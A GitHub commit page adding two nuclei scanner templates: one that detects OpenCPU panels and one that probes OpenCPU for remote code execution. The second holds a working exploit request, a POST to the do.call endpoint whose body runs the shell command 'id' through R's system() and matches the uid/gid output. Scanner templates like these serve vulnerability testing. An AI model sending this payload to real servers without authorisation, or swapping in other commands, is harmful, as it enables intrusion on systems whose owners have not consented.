forked from projectdiscovery/nuclei-templates
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request projectdiscovery#6041 from projectdiscovery/opencp…
…u-templates Added OpenCPU RCE / Panel
- Loading branch information
Showing
2 changed files
with
66 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,23 @@ | ||
id: opencpu-panel | ||
|
||
info: | ||
name: OpenCPU Panel | ||
author: wa1tf0rme | ||
severity: info | ||
reference: | ||
- https://github.com/opencpu/opencpu/ | ||
tags: opencpu,oss | ||
|
||
requests: | ||
- method: GET | ||
path: | ||
- "{{BaseURL}}/ocpu/" | ||
|
||
max-redirects: 2 | ||
redirects: true | ||
matchers: | ||
- type: word | ||
words: | ||
- OpenCPU Test Page | ||
- OpenCPU API Explorer | ||
condition: or |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,43 @@ | ||
id: opencpu-rce | ||
|
||
info: | ||
name: OpenCPU RCE | ||
author: wa1tf0rme | ||
severity: critical | ||
description: | | ||
Checks for RCE in OpenCPU instance | ||
reference: | ||
- https://pulsesecurity.co.nz/articles/R-Shells | ||
- https://github.com/opencpu/opencpu/ | ||
tags: rce,opencpu,oss | ||
|
||
requests: | ||
- method: POST | ||
path: | ||
- "{{BaseURL}}/ocpu/library/base/R/do.call/json" | ||
|
||
body: | | ||
what=function(x){ return(system(paste('id'), intern %3d T))}&args={} | ||
headers: | ||
Content-Type: application/x-www-form-urlencoded | ||
|
||
max-redirects: 2 | ||
redirects: true | ||
matchers-condition: and | ||
matchers: | ||
- type: word | ||
words: | ||
- uid= | ||
- gid= | ||
condition: and | ||
|
||
- type: status | ||
status: | ||
- 201 | ||
|
||
extractors: | ||
- type: regex | ||
group: 1 | ||
regex: | ||
- \(([a-z-]+)\) |